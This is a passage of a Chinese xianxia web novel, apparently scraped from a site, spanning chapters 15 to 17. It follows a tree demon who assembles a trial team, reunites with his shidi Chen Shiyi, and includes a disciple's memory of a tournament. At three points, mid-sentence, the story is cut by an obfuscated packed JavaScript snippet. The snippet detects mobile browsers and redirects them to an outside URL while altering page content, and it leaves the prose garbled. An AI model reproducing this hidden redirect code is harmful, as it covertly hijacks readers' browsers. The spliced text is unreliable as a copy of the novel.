无论赵行舟怎么提速,都无法甩脱这小花妖。眼瞧着溪诀城在即,赵行舟颇为稀奇地瞧了她一眼,问道,“你飞得还挺快,你又是什么来路?” 那花妖气得不轻,“分明是我先问你的,你到底有没有听别人说话?” 赵行舟道,“你早就看过我昆仑的信物了,不是都知道了吗?” 花妖哼了一声,“我知道你昆仑的门下侍,但你的主子怎么不与你立契,还叫你修剑道?” 赵行舟耸肩,继续赶路,“这就无可奉告了。” 二只妖一前一后落地溪诀城门前,赵行舟抬头,看到硕大的天字一榜。 控位榜单上果然没有他的名字。天字一榜只会展现生者的名字。死了的不算数,转生的,大约也不算数。 再看守位,张天茂一百多年没来了,落在三十七位。名字亮着,显示他已进入秘境,但是否进入试炼之地不会显示。 再一想,眼下入口都快关了,张天茂担负着天下稳定的重任,理应早找好队友进去了。 顺便往杀位一榜去看,没想到第一位就是熟人。 赵行舟目光复杂地看着陈时易亮着的三个字,实在难以将其和记忆中出现的那个少年联系在一起。 但仔细想想,又分明是同一个人。 他想起来的并不多,只有零星几个画面,且都集中在陈时易刚拜入昆仑的那段时间。 中间近二百年发生了什么,赵行舟无从所知,自然也不知道当年那个少年,究竟是发生了什么,才成长到今天这种地步的。 明明刚入山那会,他抓这个师弟就像抓鸡一样简单来着。 五天前,杀榜第一位,昆仑南仲君名字亮起时,在三界两域内引起了轩然大波。 众人都以为这次昆仑对神器势在必得。毕竟此轮秘境,单是峰主,他们就出动了两位! 然而当张天茂硬着头皮去和琦渊、百花谷、大悲寺的人组队时,众人才觉得纳闷。他们山上那位杀榜第一去哪了呢,难道同一个门派,都要分头行动? 有心人在溪诀城门前蹲了足足五天,见证了每一个队伍的杀位进关,仍然没看到南仲君的影子。大家又嘀咕起来,莫非南仲君此轮不入试炼之地,真的只在境外走走看看? 秘境中有这么一波人,不愿意冒生死风险与三界二域的强者厮杀,就会选择在外围游历。毕竟试炼之地外,也确实是有许多大能留下的遗迹等待挖掘。 但南仲君显然不是一个喜好游历的人。 赵行舟不知其中缘故。他看陈时易名字亮着,以为他和张天茂一早进去了,当下放宽心来,开始物色自己的队友。 身边花妖仍然喋喋不休,抱怨他们昆仑出来的真是忘恩负义。赵行舟随口打断她,“你一般是修得什么位置?” 花妖转了一下眼珠子,娇声道,“守位,怎么啦?” 赵行舟点头,“挺好。”拉住花妖就往报名处走去。 妖之间没什么男女授受不亲的说法,所以花妖只是掩面故作娇羞,“哎呀,你轻点拽,奴家可是已有心上人啦。” 路上不期然在摆摊处看见一个熟悉的身影,赵行舟这下有些惊喜了,“咦,又是你?” 雀妖有生之年第一次入洞天秘境,一切都令他眼花缭乱。秘境内灵气充沛,比昆仑更胜一筹。他在这里待得飘飘欲仙,浑身舒畅。想,就这么走走逛逛,一直混到秘境结束,也还不错。 今日会来溪诀,不过是想凑凑热闹,看看为天下强者争抢的地方到底是怎样一副光景。 不成想来了没多久,竟在背后听见一道鬼一样的声音。 赵行舟一手扯着花妖的胳膊,一手钳住雀妖的后脖子,振振有词道,“你会飞,行动迅捷,简直是天生的探位。如此我们一个守位,一个控位,一个探位。再随便凑两个人就进去。” 雀妖一脸呆滞,片刻后发现自己离试炼之地入口越来越近,这才意识到抓着他的人在说什么,立刻死命挣扎起来,“我不去,放开老子,老子要混到结束!你松手!” 如此惨叫声中,赵行舟领了八张名牌,往雀妖嘴里塞了一个探位牌,又往花妖衣领子里塞了个守位牌。再自己握住控位牌。 三张牌一接触皮肤便消失无痕,随即,三人之间形成了一个暂时的精神契约。 雀妖察觉到识海中的微弱制约,往地上一跪,只觉得眼前这个场景如此熟悉,令他尤为崩溃。 赵行舟则拿着剩下两个位置的牌子,准备路上再随便抓两只小妖填数,忽闻身后一人惊奇道,“是你。” 转身,竟与沈文铮二人不期而遇。 沈文铮对赵行舟当日比试所用招式印象深刻,如今一见,几乎下意识就开口邀请道,“你要进试炼之地,要不要组队?” “什么位置?”赵行舟见对方两个剑修,只怕撞位。 钟枫离对眼前小妖亦有印象,解释道,“我主杀位,文铮真人主控副杀位。你们这边有三人,莫不是正好?” 三人一对配置,发现控位有两个。这倒无事,主要是缺一个生位。 赵行舟虽为植物妖,但生前生位法诀一点不会。沈文铮亦是如此。无法,只得先把眼前二人纳入队伍,再分头找人,意图随便拉拢一个修生位的入伙。 眼看试炼之地还有不到一炷香的时间就要关上,雀妖一边哭一边祷告,希望可以蒙混过关。花妖坐在路边一副事不关己的模样,饶有兴趣地打量着眼前两位昆仑剑修弟子。 昆仑弟子最是骄傲,尤其是这帮眼高于顶的剑修。此二人竟愿意与三只妖结队,即使是自家宗门的门下侍,还是很令人意外。为什么呢,难道真的只是为了让他们三个凑数么? 花妖手中捏着一片娇嫩的花瓣,若有所思。 赵行舟围着市场兜了一圈,所见之人尽是歪瓜裂枣,妖也不行,勉强拉入伙都难以接受。 正考虑着要不要再降低一点要求,匆匆走至一个人较少的拐角,余光忽然瞥到一道黑红色的影子。 赵行舟定睛看去,一愣,露出不可置信的神情来。 视线中,有个高大的男人立于墙边,血似水一样淌个不停。身量比记忆中高出许多,亦比记忆中更加落魄潦倒。浑身的湿意从水汽变成血气,长发湿漉漉地垂落,黏腻在修长的后脖颈上。月牙束腰长袍和鱼尾灰色的內襟几乎看不出原本的颜色,被暗红色的血迹浸透了。 大约察觉到有人注视,此身影微微抬头,偏过紧实的下颌,散乱的发丝中,回他一个暗得瘆人的目光,眼梢尽是惨淡的冷意。 赵行舟心中一紧,入耳人声跟着安静下去。 他走近这道身影,对方跟着他的动作阴沉沉地挪动头颅,目不转睛地盯着他。 他又绕过去,在拐角后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437505|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方看到有个人。 那人长手长脚,依墙而坐,姿势散慢,搭在膝上的手腕根骨分明。明明衣物干燥,却像是浑身上下都浸着湿润的丧意。他脸上挂着一个奇怪的香樟木面具,微微仰头时,日光下细腻的金粉泛着微光。 那把引得天下无数人疯狂的长剑,就随意被摆在墙边,与一把普通的剑无异。 赵行舟俯下身去与其平视,目光沿着他的全身看了一遍,半天说不出话来,于是伸手去摘他的面具。 眼前人五官与记忆中相差不多,冷淡更甚,有些凌人。摘面具时他没躲,侧着头靠在墙上。刀子一样的目光微闪着与赵行舟对视,直至喉结微动,记忆中那道深深的戒备如冰层于眼前尽数破裂开,露出眼底一层微弱又狼狈的湿意。 “赵行舟,你是不是也以为我疯了。” 陈时易嗓音破败不堪,伸手去抓赵行舟的手腕,越攥越紧,恨不得捏碎在手中,混着一丝喑哑的潮气,道,“所以躲着我,不想再见我了?” “不是,师弟,你怎么会在这里?”赵行舟震惊到几乎失语。他顺着力道一把扶住陈时易,迅速解释道,“是我神魂有缺,有一部分存在惊春里,五天前还给我了,让我想起来一部分你的事,还助我一举突破了金丹。但重点是,你、你……你在这里干什么,我躲你干什么?” 陈时易眼中潮气翻涌,更显一丝泥泞,阴测测逼问道,“那你怎么足足五天不来找我?” 眼下离近试炼之地关闭还有不到半柱香的时间,赵行舟很急,又不放心眼前人的状态,只能以更快的语速说道,“这次神魂融合让我沉睡了五天,并非我故意不来找你,我刚睁眼就赶过来了!眼下试炼之地即将关闭,我残存的神魂就在里面,具体什么原因,还不得而知。” 说着,赵行舟一把把人从地上拉起来,不忘把地上的剑一并捡上。“边走边说,你先跟我来。” 陈时易被他抓着一路踉跄着往前跑,神色晃了一下,脸上表情还没收干净,听赵行舟边跑边道,“这次试炼之地我必要进,否则想起你来还要再等十年,我不想等了。眼下我们队已经有五人,只差一个生位。你主杀位,两个杀位……” 说着,忽然想到前几日凌绝峰上,某人给他展现的一手鸿蒙日炎真诀。 他一个先天雷水双行,连离火系高阶法诀都学得会,那么区区艮土系生位法诀,是不是也…… 赵行舟顿足,盯着陈时易看了片刻。 -- 沈文铮和钟枫离无功而返,雀妖喜形于色。花妖则无所谓地抱着脸坐在一旁。 四人各抱心思等在溪诀城门下,入口漩涡闪烁,已然是关闭的尾声。沈文铮左右踱步,有些着急,抬头遥遥见赵行舟拉扯着一个黑衣男人跑过来,不免一喜。 待看清赵行舟拉扯之人后,眼前又是一黑,心想这又是从哪请了这么一尊杀神出来?! 此人佩戴着一个古怪的面具,强行压抑着周身肆意的雷息,人还没跑到,温度已在显著下降。目测此人修为,虽不知在秘境外是什么水平,但在秘境内,显然是金丹圆满。好是好,却解不了燃眉之急啊! 两位昆仑剑修对视过后,皆是失望叹息一声。 雀妖则双眼一亮,心想,自己的祷告终于成功了,这下试炼之地是彻底没戏了! 却不料,赵行舟在几人的目光中,硬是抽出一张生牌往对方手中塞去。 下一刻,团队契约立刻见效。 六人随漩涡消失的最后一刻,竟入境成功! 16. 第 16 章 溪诀城作为洞天秘境中核心区域,从地形和风土来看,像极了风景秀丽、物产丰富的南洲地带。 溪诀城外地势广阔平坦,水网密布,植被丰富,森林耸立,唯一与现实不相同的现象是,此地昼夜温差极大,气候极其不稳定。 有时白天春光和煦,中午电闪雷鸣,到了晚上就会下起雪来。 赵行舟六个人一小组,坐在一颗巨大的榕树下,面面相觑。 由于在场的人互相不是很熟悉,完全是赵行舟硬凑的组合,所以大家在开口互相介绍时,难免有些冷场。 赵行舟作为中间人,静坐了一会,感觉再不说话不行了,遂率先指昆仑剑修二人组道,“这二位是昆仑弟子,杀位、控位。” 沈文铮直到入境,都还没反应过来这一切到底是怎么回事。饶是她心性沉稳,此时也有点犯迷糊。听人这么介绍,索性把手中剑往众人眼前一搁,自我介绍道,“沈文铮,天火根,主控副杀位。”顿了顿,“金丹期剑修。” 钟枫离见此,跟着把剑往旁侧沈文铮的手边一搁。他气度儒雅,说话较为温和,“我是钟枫离,仙雷根,修的主杀位。也是金丹期剑修,各位请多指教。” 仙雷根,天火根!雀妖听得倒吸一口气。仙级灵根在修真界已是难得的天才,天级灵根,更是百年难遇!这种剑修在此秘境中绝对是炙手可热组队选项,怎么会沦落到跟他们这种歪瓜裂枣一起进来。 再看旁边三人,此昆仑二人如此惊人的天赋摆在面前,他们却好像压根没听到似的,一点该有的惊艳都看不到。就听中间那个树妖“嗯”了一声,继续指向他和另一只花妖。 “这二位是妖。一个是昆仑的门下侍,探位。另一个是我路上捡的,守位。” 雀妖一脸莫名其妙又不可理喻似的看着赵行舟,心想你怎么不跟我一起表现出吃惊呢?!花妖脸上也很平静,她顺势伸出一只手,数十片花瓣从掌心冒出,飘在空气中形成一个不太坚固的壁垒,随即破碎消失。 “我叫阿珏,是他的救命恩人。在他报答我之前,我是不会走的。”花妖微笑着用一根葱白娇嫩的手指指向赵行舟,随即抱着脸看了看天,道,“可惜我太弱了,本体不过一株小小桃树,怕是帮不上什么忙。你们临危之际可别丢下我自己跑了就好。” 言罢,阿珏隐约觉得身上被一道冰冷的视线笼住。低头寻找时,发现并没有人看她。阿珏挑眉,看了一圈,还是觉得树妖身边那个神秘的黑衣男人最可疑,于是在他和树妖之间看了看。越看,越觉得有什么不对劲。 雀妖认命地萎靡下去。转念又一想,来都来的,不如就趁着这段时间与昆仑两位剑修大人搞好关系。待他日再回昆仑,若有此二人照拂,还不是一步登天! 毕竟一般的门下侍,哪有跟这种人物组队下秘境的机会呢。 于是雀妖连忙换上一副狗腿的模样,对着沈文铮二人谄媚道,“二位道长叫我千奕就行。我本体是一只风鸾,有事招呼一声,我一定赴汤蹈火,肝脑涂地,争取不丢咱们昆仑的脸面哈。” 昆仑两位剑修闻言没有太多的表示,令雀妖千弈心里小小失落了一把。然而钟枫离和沈文铮却在私下对视了一眼,心中想的是,修真者但凡比妖的修为高一点,就可以一眼看破妖的本体。而他们看这只桃花妖,却只能看到一片模糊。 嘴上说着弱不禁风,实则修为竟在金丹高阶之上。元婴,更甚之,化神? 该想法一出,令在场两位剑修神色严肃几分。人类修士对异族难以信任,更何况是这种最基本的坦诚都做不到的千年大妖。 若非时间紧迫,他们断不会同意这种可疑的妖物入队。然而眼下并无他法,只能多留个心。 至于风鸾,大家倒是都没什么意见。 试炼之地有一个特殊之处,在于任何人都无法御物飞行,能飞的只有像雀妖这种带翅膀的鸟类。是故千弈虽然修为低微,是六人中唯一一个筑基期,但只要不参与战斗,作为探位是再适合不过了。 听四人都介绍完了,赵行舟再次“嗯”了一声,往自己和剩下那个男人身上示意道,“我是咱们队的第二控位。这位是我的一个老朋友,嗯,他是生位。” 说到这,赵行舟明显顿了一下。四个人的心也随之咯噔一下。 说实话,在赵行舟亲口确认生位之前,四人始终难以将此人和救死扶伤的联系到一块去。 见赵行舟半天没再继续,钟枫离犹豫着开口,“倒还不知你和这位……额,这位前辈,惯用什么武器?” “我虽然为妖,但也修得剑道。他么……”赵行舟转头看向陈时易,陈时易隔着面具也在看着他。两人没对过口供,沉默地进行了长达十秒钟的眼神交流之后,赵行舟以手做拳轻咳一声,扭头道,“你还是自己介绍吧。” 黑衣人身形不露痕迹地凝顿一瞬,在四人的注视下,动了动手指,十分勉强地在乾坤戒里翻找起来。 久到大家的眼神都开始变质了,看向他二人的目光明显露出怀疑时,才硬是让黑衣人找出一根竹制品。 陈时易开摊手时,赵行舟忍不住瞥了一眼,随即瞳孔一震,非常不可思议地看向对方。 眼中只传递出一个信息,你认真的? 而对方压着目光没理他,大概也是觉得这事难以解释。 其余四颗头凑上去,仔细打量着黑衣人手中物,一时半会看不出这究竟是个怎样的法器。 陈时易手中竹制品长而细,做工极为粗糙,说朴实无华都过分了,只胜在千年不腐。 此物无他,竟然是赵行舟百年前闲来无事在凌绝山上用云崖竹削的筷子。 赵行舟此刻心里有点崩溃,拿手抓揉着额头,心想这家伙身为凌绝峰主,乾坤戒里都是些什么鬼啊,就没有更靠谱的东西可以用了吗? 雀妖千奕看了很久,无论如何也看不出这根竹条是什么名堂,以为自己眼光不行,小心翼翼问道,“这难道是,一根长针吗?” 黑衣人掀了掀眼皮,语气不耐烦,“是根竹笔。” 赵行舟:…… 千奕后脖领子的羽毛一炸,闭嘴了。 阿珏身份特殊,对植物本体异常敏感,一眼便看得出这不过是一根普通的云崖竹条。她一脸复杂地看了看黑衣人手中之物,又去看他的面具,只觉得此人深不可测的程度超乎她想象,一时间没有说话。 钟枫离干笑一声,也不知信了没有。 他虽看不出眼前这根“竹笔”的特殊之处,但不知为何,明明素不相识,他却在这个黑衣人身上感受到了一股颇为熟悉的压迫感,恐惧中透着一丝安心,安心中透着一丝惶恐,十分微妙。 沈文铮则更多精力放在了赵行舟和他的剑身上,饶是她见多识广,也从未听说过肯修剑道的妖。且悬挂于他腰侧的那把剑古朴清绝,绝非凡品,怕是比之她的逐晏剑也不差。 沈文铮心思一向直率,便直接问出口,“张天茂张峰主并非剑修,你作为他的门下侍,剑道又是随什么人学的?” 此话一出,成功令在场大部分的目光回到他的身上,转移了这根破笔带给大家的震撼。 赵行舟在御剑至溪诀的路上,也想过这个问题。虽然天下间没几个人能认得出惊春剑,但他既然重新佩剑,不找个合适的理由总说不过去。 于是便将路上编好的话对大家说道,“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437506|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个你们有所不知。我虽然挂名在张天……张峰主名下,但真正传我修行之人却不是他。” 赵行舟坐着不动,将惊春从鞘中抽出,随手抛剑向上,手中捏作一诀,剑便悬于空中不动。 下一刻,以六人为中心,五丈内亮起一个淡淡的光阵,令在场五个人的身形猛的一滞,只觉身有千斤重,而后又一轻,仿佛一切都没有发生。 沈文铮几乎瞬间便认出了这个剑阵,她一下子站起来,惊愕之极,下意识急道,“你怎么会心元破法剑诀!这明明是……” 心元破法剑诀乃昆仑极富盛名的控位剑阵之一,由百年前凌绝峰陨落的心元剑君一手创立,由于修炼条件苛刻,现今几乎已经失传。 而该阵法不巧,又是沈文铮主修剑阵之一。原因无他,她作为主修控位的修士,这几乎是她最合适修炼的剑诀之一,连师傅都不曾反对过。 可书籍上所传授的东西毕竟有限,沈文铮修行近十年,眼下可施展的心元剑阵,仍不及这小妖领域的一半大小! 展示不过一个呼吸间,树妖挥手散了剑阵,又一把接住掉落的剑,转手插入鞘中,动作行云流水,甚是飒利。听见沈文铮的疑问,便维持着松散的坐姿对她笑道,“我知道你想问什么。其实在下百年前真正师承的人,是昆仑凌绝峰的赵行舟,这心元破法剑诀就是他一手教于我的。张峰主知道其中隐情,所以仅是收了我做门下侍,没有与我建立契约。” 说罢,向旁侧看了一眼,又道,“这事凌绝峰的南仲君也知道,你们不信,回去可以问他。” 昆仑两位剑修弟子脸色皆是剧变。心元剑君的名讳在昆仑内乃是一大忌,无人敢随意提及,更别提去找南仲君当面对质了。如今被这小妖轻松说出来,实在心惊胆战。 闻言,黑衣人收起手中竹条,那根破笔在他手中一翻,平白翻出一圈刀光剑影的怪异感。他随意地把竹条别在自己腰间,淡声道,“我作证。” 昆仑二剑修的表情又是一飘,心想你谁啊,你就瞎作证! 不过就二人这种无惧生死的态度,听着确实不像假话……毕竟有哪个想活的人敢同时拿心元剑君和南仲君开玩笑呢? 随后再想,貌似一切都说得通了。连同与金猊大战那日,这小妖所动用的奇怪剑指,都有迹可循。心元剑君在世时,可是天下独一号人物,比起南仲君也不逊色。若是受他传承的剑修,哪怕是妖物,也并非不可能。 只是这消息太过惊人,若是让有心人知道了,对心元剑君留下的东西势必会引发哄抢争夺,怕是这小妖以后的日子不会好过。 只是现在不是想这些的时候,当务之急还是先把试炼过了才是。钟枫离看了看天色,抛出最后一个问题。 “还不知二位如何称呼?” 眼下时候不早,他们进来的本就是最晚的,再不出发该耽误进度了。赵行舟站起身,“在下荀常。” 陈时易亦站起身,道,“应识。” 说罢,二人甚有默契,像是排演过无数次,一个语调散漫,一个语调冷淡,转身时,同声放话道。 “幸会。” 众人看在眼里,不知为何,觉得这一人一妖似乎有什么隐秘的联系。 这种联系,同时又是沈文铮和钟枫离再熟悉不过的感觉。 同处一个宗门,拜入同一个师傅名下,数百年朝夕相处后,无数习惯和行事风格就会在无意识中变得相似。 在这一个瞬间,两位昆仑的弟子甚至荒唐地觉得,此二人于秘境中回望的身影,从容不迫,竟隐约透出几分无数前辈沉淀下来的风骨模样。 可他们分明一个是妖,另一个只拿了根破笔啊! 17. 第 17 章 一行人从溪诀地带的最外围,向着中心区域前行。 路上,钟枫离和沈文铮因师出名门同宗,自觉走在最前方。钟枫离问她,“文峥真人可是第一次来这秘境?” 沈文铮承认,“不错,钟兄曾来过?” 沈文铮年纪比钟枫离小,但因是掌门的关门弟子,在宗门内辈分奇高。喊不了钟枫离师兄,喊钟兄已是十分客气。钟枫离曾经听说掌门小徒弟天赋高,心气也高,以为该是相当冷傲不苟言笑的一类年轻修士。这两日接触下来,却觉得并没有想象中那样有距离感。 钟枫离点头,耐心道,“三十年前我曾有幸闯过一次。那年试炼之地组队,我们一行七个人,昆仑占三位:我紫霞峰杀位、守位各出一位,观云峰则是一个修控位的法修师兄。其余四人找的百花谷二人、琦渊二人,都是试武大会上认识的交好可信之辈。” “那趟试炼之地,我们组队的实力并不弱,一个筑基后阶,三个金丹初阶,一个金丹中阶。那位观云峰的法修师兄更是破境元婴,在秘境内是金丹大圆满。比之我们现在这个队伍……”钟枫离犹豫了一下,看向身后四位队友。 首当其冲紧跟着他们二人的是鹊妖,它看上去相当紧张,每走一步都好似排雷,稍有个风吹草动就要跳脚。桃花妖东张西望,专注于看风景,又像是在找什么。剩下两位则走在最后,神色从容得好像逛自家的后花园,也不说话。这支队伍中,来历不明有之,实力不明有之,传承不明的有之,真打起来别说配合了,不帮倒忙都算好的。 钟枫离摇头苦笑,“比我们现在这个队伍,至少在实战层面上应该还是强上一些。可惜即使这样,我们还是在内城筛选的第二天就被淘汰了。”顿了顿,又问,“文峥真人来之前可了解过试炼之地的规则?” 沈文铮仔细听着,随后答道,“规则我曾听一位师姐讲解过。如没记错,我们人族的落脚地是溪珏城,分为外城和内城。第一轮试炼在外城,有五天时间,会先淘汰掉近一半的修士,然后是第二轮试炼,在内城。因最先两轮都是人族内部的淘汰,所以伤亡并不会很惨重。” 钟枫离叹了口气,“修真者也不乏心狠手辣之辈,还是小心为上。却不知你师姐有没有为你讲解过第一轮具体的胜出规则?” 见沈文铮摇头,钟枫离解释道:“这第一轮试炼,说来简单,就是尽可能的抢夺其他队伍的队牌。其抢夺方法也简单,找到这个队伍的队长,用手接触他的秘境印记。其实也不用手,皮肤接触一段时间后,都算生效。” 钟枫离说着抬起自己的右手腕,手腕内侧隐现一个金色的“杀”字。“我们此次组队比较仓促,队伍由那只树妖组建,所以他是队长,队牌便在他的控位印记中。我们第一轮的任务,除了抢夺其他队伍的队牌外,还要保住他。因为本轮的淘汰制度是:队牌损失,则全员出局。” “我明白了。”沈文铮点头道,“这些师姐确实没有说过。但她和我说了些别的,例如不同种族的试炼之地并不一样,只有妖族没有单独的试炼地,必须从人族或魔族的起始地选其一才能进入。我当时不明白,这试炼之地既然以种族划分,何以妖族就是特殊的?但师姐对此亦不知晓,只是告诉我,自古便是如此了。她还说,从试炼第三轮起,三界混争,福祸相依,生死由命,那才是真正的试炼之地。” 试炼之地第三轮?钟枫离闻言愕然。他在宗门内只听过前两轮。饶是他的师傅也从未进过试炼之地的第三轮。紫霄峰现存弟子中闯过试炼之地第三轮的,除了他们现任峰主张天茂外,怕是不超过五人。听沈文铮的言外之意,这试炼之地的第三轮试炼,竟已不再局限种族,而是真正的混战了? 这若是旁人,能这样随便说起试炼之地第三轮的信息,钟枫离势必不信,但沈文铮这边的信息却由不得钟枫离不信。能被沈文铮称之为师姐的人,辈分大约和花绛峰峰主云裳仙子齐平。偌大的昆仑宗门中,这个辈分还活着的女修士中不超过十五位,且无一不是修仙届的大前辈。 福祸相依,生死由命……钟枫离不由听得有些神往。修真界的人都知道这几个字分量有多重。修仙一途一看重天赋,二看中气运。有件事钟枫离未曾与人说起过。三十年前他初次入境时,其实已在筑基末期困了三年。修真者每个境界的跨越都极难,终身困在某一境界圆满不得突破的大有人在。可就是那次试炼之地,钟枫离不仅阴差阳错一举突破了金丹,更在出境时几乎摸到了金丹中阶的槛。 而后三十年过去了,他从金丹初阶提升到了金丹高阶。回想起来,他虽天赋尚可,但若没有那次机遇,修行进度要再被耽误多少年都未可知。 大劫往往伴随大机缘,渡不过去是死,若渡过去了呢? 如今再次身处试炼地,机缘唾手可得。钟枫离不免回过头,再去打量这帮队友。 洞天秘境选拔入境人规律难寻,错过这回,此生未必再有机会进入此地。这支队伍虽组织得甚是草率,但若规划得当,未必没有机会进溪珏内城参与第二轮试炼。 至于……第三轮?钟枫离失笑摇头。试炼之地第二轮的困难程度已经他们超越这个级别的想象,会直接淘汰掉九成的修士。最后剩下的,几乎都是全员金丹高阶和金丹大圆满的队伍,其中更有像他们张峰主那样年纪轻轻的门派砥柱。这群人若在境外,元婴、化神,甚至大乘都有之!无数天之骄子,修真大能汇聚一地,这如何能争。 思及至此,钟枫离忽然想到一些事,遂看向位处队伍后方的那个树妖,想起他方才关于剑修师承的话。 当真是惊人。 那番话若放出去,不光会搅得昆仑上下大乱,怕是整个正道都会不得安宁。眼下还好只是在秘境中。钟枫离看着那个树妖提剑行走的步态,心里说不上什么滋味,只是莫名想起百年前。 九州二十八年,是钟枫离拜入昆仑的第四个年头。 那时他是紫霄峰无数内门弟子中的一员,刚迈入练气中期,连天下试武大会的参赛资格都不具备。 同年试武大会的地点选在昆仑山脚下簟庐镇,从昆仑出发半日脚程就能抵达,是故有许多不具备参赛资格的昆仑弟子纷纷下山前往观赛。钟枫离便是其中一员。 昆仑作为该届试武大会的主办方,压力不可谓不大。彼时各宗门之间已有势力划分的雏形,除昆仑外,其余四大名门的带队人皆为各宗长老,修为最低也至少是化神中阶,如此多强者现世,只为两派之争,阵势比今年还要夸张。 昆仑针对这次竞争亦有对策,宗门对外宣称,他们每日会推出一位实力强横的修者坐阵,三日一轮换,稳定大局的同时,也意图彰显东道主英才云集的实力。 而后有一日,不知是出于挑衅还是别的目的,玄元门一名弟子擂台赛打赢后不肯收手,用术式封了对手的嗓子,继续攻势凶猛,执意要再喂杀招。这种行为虽不违规,但在正道的比试中十分罕见。 钟枫离和几个同门在台下一起观战,发现被玄元门封喉那人,正是出自与昆仑交好百年的一宗小门派——五青派中人。该门派常年和昆仑保持着从属关系,对昆仑很尊重,如今门下弟子如此被针对,明眼人都看得出不单是意气之争。 台上五青参赛弟子被打得重伤,抵抗认输都难做到,又被玄元门那名弟子猫捉耗子似的逗了好几圈。看到最后,大家回过味来,既气愤又不齿。五青派带队人心疼弟子,不多时便看不下去了,一步跃上擂台,意欲强行喊停。 还未出声,只听得最高处观战台处传来一声冷哼,令在场众人心头一震。玄元门长老端坐于远离人群的高位,仅轻飘飘一个扫袖,就将五青派带队人整个挥了出去,倒地呕出两口血。 曾经玄元门位列五大名门之一,带队长老刘正云已有化神圆满的实力,而五青派的带队人不过元婴中阶。刘正云只动一动袖子便可将人伤至于此,双方实力悬殊之大,简直如鸡卵与石,如何能敌? 在场众人被这一遭弄得很无措,碍于玄元门的实力,没人敢出手相助。玄元门长老刘正云长脸宽额,在扫袖后,淡声对五青派带队人道,“小辈之争,断没有他人插手的道理。你也算修真界的老人了,难道连这个道理都不懂吗?” 说罢,刘正云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437507|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又斜着眼像昆仑山的方向看了一眼,不理会地上之人屈辱的神色,道,“东道主既然立不好规矩,我玄元门替着立了便是。东道主管教不好的人,我玄元门一并管了,倒也无妨。” 如此明目张胆的下马威,听得一众昆仑在场弟子几乎咬碎了牙。钟枫离也不例外。那时他心智不坚,被这番话气得双眼通红。玄元门哪里是为难五青派,分明是借此来打昆仑的脸。他想咬牙冲出去将五青派的人扶起来,可他不过一个炼气中阶,刘正云吹口气都足够撞死他了,哪里轮得到他来出面? 那时,台下年仅十七岁的钟枫离深深痛恨起自己低微的实力来。他想,若有朝一日自己足够强,是否宗门便不必如今日一般受此大辱了? 随即又想到,他们还有今日昆仑的坐阵人。玄元门既然有化神境的人动手,算破规,用不了多久,他们的坐阵人就会出现主持公道的。 钟枫离将这话与周围几个同门说了,众人情绪稍稍振奋起来,可钟枫离随即又想到什么,表情黯然下去。 玄元门大约是有备而来,他们会挑选今日挑衅昆仑,想必是做了调查,故意为之。 只因今日昆仑的坐阵人有些特殊,他实力很强,但辈分尚浅,乃凌绝峰的心元剑君。钟枫离入宗后只闻其名,未见过其人。不过两百年便入化神境高阶的剑修,修行速度堪称骇人听闻,天下人又有谁不知,有谁不晓? 可再顶尖的天才,终究还是年轻一辈。钟枫离曾听师傅说过,修行境界越往高阶走,分毫的差距就越是分水岭。化神高阶和化神圆满的实力差距有多少钟枫离不得而知,但想来该是难以战胜的。 昆仑坐阵人的规则既然是自家宗门立的,那么坐阵人就只能是轮值到的坐阵人。若因实力不济,临时换另一位辈分更老、实力更强的修士来出头,怕是会落人口实,陷入更难堪的地步。 钟枫离越想越消沉下去,左右觉得没有退路了。 这种气馁的情绪一直持续到人群中发出骚动。钟枫离下意识抬头,见天边一缕金青色的剑气乍现,如日光破云,难以目视。钟枫离感到茫然,对接下来一切要发生的事都没有概念,只是还没来得及眨眼,那道剑光已迅疾地掠至近处。 与此同时,他没由来感觉到呼吸灼热。 不光是呼吸,连同脸皮,脖子,双手,所有裸露在外的皮肤都感到了灼烧般的刺痛感。钟枫离忽然意识到了这个突然出现的人是谁,心里惊怕交加,只能拼命睁大眼睛,紧紧地向那道剑影望去。 惊异于此人竟来得这样快,又惧怕他来得这样快,连反悔的时间都没留! 下一秒,无数橙色的熔屑出现在众人眼前,如同即将殆尽的火星,飞速地向着此人行进的路径靠近。 最高观战台上,刘正云脸色微变,果断招出了自己的法器,手中立时出现一根短矛。同时,御剑人从剑上跃下,裹挟着浑身熔浆的碎屑,随着下落的惯性,右手一把握住剑身。 在刘正云持矛之际,此人已迅疾逼至其眼前,将剑拉出剑鞘。 